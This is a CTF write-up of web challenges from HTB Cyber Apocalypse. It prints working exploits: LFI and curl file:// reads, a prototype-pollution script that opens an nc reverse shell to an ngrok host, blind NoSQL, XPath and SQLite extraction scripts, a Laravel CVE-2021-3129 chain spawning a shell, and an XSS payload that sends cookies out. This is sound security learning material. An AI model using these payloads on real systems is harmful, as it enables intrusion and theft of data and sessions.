CTF Cyber Apocalypse Writeups
In this post I’m going to explain the challenges I solved during the HTB Cyber Apocalypse CTF. All of them are considered “Web” category. My team, called “ISwearIGoogledIt”, obtained the 139 place solving the half of the total challenges.
Inspector Gadget
In this challenge, you only needed to search the flag in the different parts of the web. The flag was divided between the JS, CSS or HTML. This challenge was an entry level web challenge.
MiniSTRyplace
The vulnerability in this challenge cames in the following piece of code: In this part of the code, you can insert whatever you want replacing all the ‘../’ coincidences with ’’ (using php str_replace function) and then, is going to return that path in the filesystem. This is called Local File Inclusion (LFI) vulnerability and we only need to use some tricks to bypass that replace. In my case I use the following solution (Using httpie):
http "http://URL:PORT/?lang=..././..././flag" | grep -oP "CHTB{.\*}"
Caas
This challenge consists on a web that uses the tool Curl to check the status of websites. The piece of code is in the following screenshots:
My solution to this challenge was to trigger Curl, like we might do in a browser, to retrieve local files. To do that, I used the keyword “file://”. The final solution was:
http -f POST "http://138.68.132.86:30750/api/curl" "ip=file:///flag"
BlitzProp
This challenge was pretty similar to the challenge “Gunship”(writeup) of HTB University CTF 2020. This challenge was an AST injection described in this blog. To exploit this web, we first need to trigger the “unflatten” function with our payload and then the “pug.compile” function so that the server runs our payload. The vulnerable code of the challenge:
My final exploit.py:
import requests
TARGET\_URL = 'http://URL:PORT'
#TARGET\_URL = 'http://localhost:1337'
# make pollution // Send Exploit
a = requests.post(TARGET\_URL + '/api/submit', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/ash -i 2>&1|nc NGROKURL NGROKPORT >/tmp/f`)"
},
})
# Trigger poll
a = requests.post(TARGET\_URL + '/api/submit', json = {
"song.name": "Not Polluting with the boys"
})
# execute
requests.get(TARGET_URL)
WildGooseHunt
In this case, the problem was a NoSQL injection in the following code. The objective of the challenge was to retrieve the password (flag) of the user “admin”. So in this case, I start using the well-known repository PayloadAllTheThings.
Finally I crafted a python script to automatically retrieve the flag/pass of the “admin” user. Script:
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password="CHTB{"
u="http://URL:PORT/api/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'Successful' in r.text:
print("Found one more char : %s" % (password+c))
password += c
In the following screenshot we can see the script running. Also the final flag was CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
.
DaaS
In this challenge, you needed to find something related to Laravel and the debug page, like the problem statement said. This was an exploitation challenge using CVE-2021-3129. In my case, I found one web explaining the bug (blog) and another one with the exploit (github). So, my final exploit was:
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "nc -e /bin/sh NGROKURL NGROKPORT"
./laravel-ignition-rce.py http://URL:PORT/ /tmp/exploit.phar
E.Tree
The topic in this challenge was new for me. The downloaded part of the challenge consisted in an XML file called “military.xml”. Working a bit with the challenge I discovered that the user inserted in the search part of the web was executed in the query:
/military/district/staff[name='USERWEINSERTED']
After some hours doing a lot of searches I found that the objective of the challenge was to exfiltrate the flag using substring in this technology, called XPath (XML Path Language). Also the “military.xml” of the downloaded part of the challenge was the hint about the structure of the xml. The trick was to add some injection in the query, searching letter by letter the flag. One of the best resources I found to XPath injection was HackTricks. Another hours later, I finally wrote the next script to exfiltrate the flag:
import requests
import string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "!#$%&()*+,-./:;<=>?@[\]^_{|}~."
URL = "http://URL:PORT/api/search"
headers={'content-type': 'application/json'}
for i in range(1,70):
# If there are no more character
if not (len(flag) + 1 == i):
break
for al in alphabet:
# The flag was divided in two parts of the xml
#payload = "a' or substring((/military/district[position()=2]/staff[position()=3]/selfDestructCode),1," + str(i) + ")='" + str(flag)+ str(al) +""
payload = "a' or substring((/military/district[position()=3]/staff[position()=2]/selfDestructCode),1," + str(i) + ")='" + str(flag)+ str(al) +""
parameter = "{\"search\":\"" + str(payload) + "\"}"
headers={'content-type': 'application/json'}
r = requests.post(URL, data = parameter, headers = headers, verify = False, allow_redirects = False)
if "exists" in r.text:
flag += str(al)
print("[*] Flag: " + str(flag))
break
In the following screenshot you can see the script working. Finally the flag was CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}
.
Emoji Voting
In this case, the challenge was to exploit a SQL Injection in the database. In the following screenshot we can see that first we need to extract the table in which is saved the flag because the name is created with the function rand. Furthermore, we need to add the SQL Injection in the next query: UPDATE emojis SET count = count + 1 WHERE id = OURINJECTION
. In order to retrieve the flag I used this blog. Also, after some queries I realised that I required to change the keywords to sqlite schema.
Finally, after a bunch of manual queries, I wrote the following script:
import requests
import string
URL = "http://URL:PORT/api/list"
ch = ord('f')
payload = "count DESC" # NORMAL
payload = "(CASE WHEN(SELECT UNICODE(SUBSTR(name,1,1)) FROM emojis WHERE id='1')=97 THEN count ELSE name END) ASC" # WORKS
payload = "(CASE WHEN(SELECT UNICODE(SUBSTR(name,1,1)) FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)=" + str(ch) + " THEN count ELSE name END) ASC"
complete = "SELECT * FROM emojis ORDER BY " + payload
parameter = {'order': payload}
# One case
# Reference: https://portswigger.net/support/sql-injection-in-the-query-structure
# SQLite schema: https://sqlite.org/schematab.html
#print("[*] Payload: \n\t" + payload)
#print("[*] SQL: \n\t" + complete)
#
#r = requests.post(URL, data = parameter)
#
#print("[*] Response: \n\t" + r.text)
#
#if "1" in r.text[7]:
# print("[*] False")
#if "3" in r.text[7]:
# print("[*] True")
# Return the table flag_XXXXXXXXXX (hex)
# Know it because if yo use node:
# const crypto = require('crypto');
# rand = crypto.randomBytes(5).toString('hex'); console.log(rand.length)
#l = string.hexdigits
#flag = "flag_"
#for i in range(5,17):
# for ch in l:
# ch = ord(ch)
# payload = "(CASE WHEN(SELECT UNICODE(SUBSTR(name,"+str(i)+","+str(i)+")) FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)=" + str(ch) + " THEN count ELSE name END) ASC"
# parameter = {'order': payload}
# r = requests.post(URL, data = parameter)
#
# if "3" in r.text[7]:
# flag += chr(ch)
# print("[*] Flag table: " + str(flag))
# break
# Table: flag_a41b3a6179
# Return the flag
l = string.ascii_letters + string.digits + "!\" #$%&'()*+,-./:;<=>?@[\\]^_`{|} ~."
flag = ""
for i in range(0,70):
for ch in l:
ch = ord(ch)
payload = "(CASE WHEN(SELECT UNICODE(SUBSTR(flag,"+str(i)+","+str(i)+")) FROM flag_a41b3a6179 LIMIT 1 OFFSET 0)=" + str(ch) + " THEN count ELSE name END) ASC"
parameter = {'order': payload}
r = requests.post(URL, data = parameter)
if "3" in r.text[7]:
flag += chr(ch)
print("[*] Flag: " + str(flag))
break
I included some screenshots of the script running. Finally the flag was CHTB{order_me_this_juicy_info}
.
Bug Report
In this challenge an XSS was required in order to retrive the cookie from the bot. After beeing thinking around the challenge for a while, I found out the cookie was only setted for the localhost (doc) like we see in the following screenshot showing the code.
After some proves and thinking how to trigger XSS in the bot to retrieve the cookie (flag), I found that adding in the url the payload worked like you could see in the next screenshot. So finally, the payload was:
http://127.0.0.1:1337/<script>window.location="http://NGROKURL/".concat(document.cookie);</script>.
The flag was: CHTB{th1s_1s_my_bug_r3p0rt}
.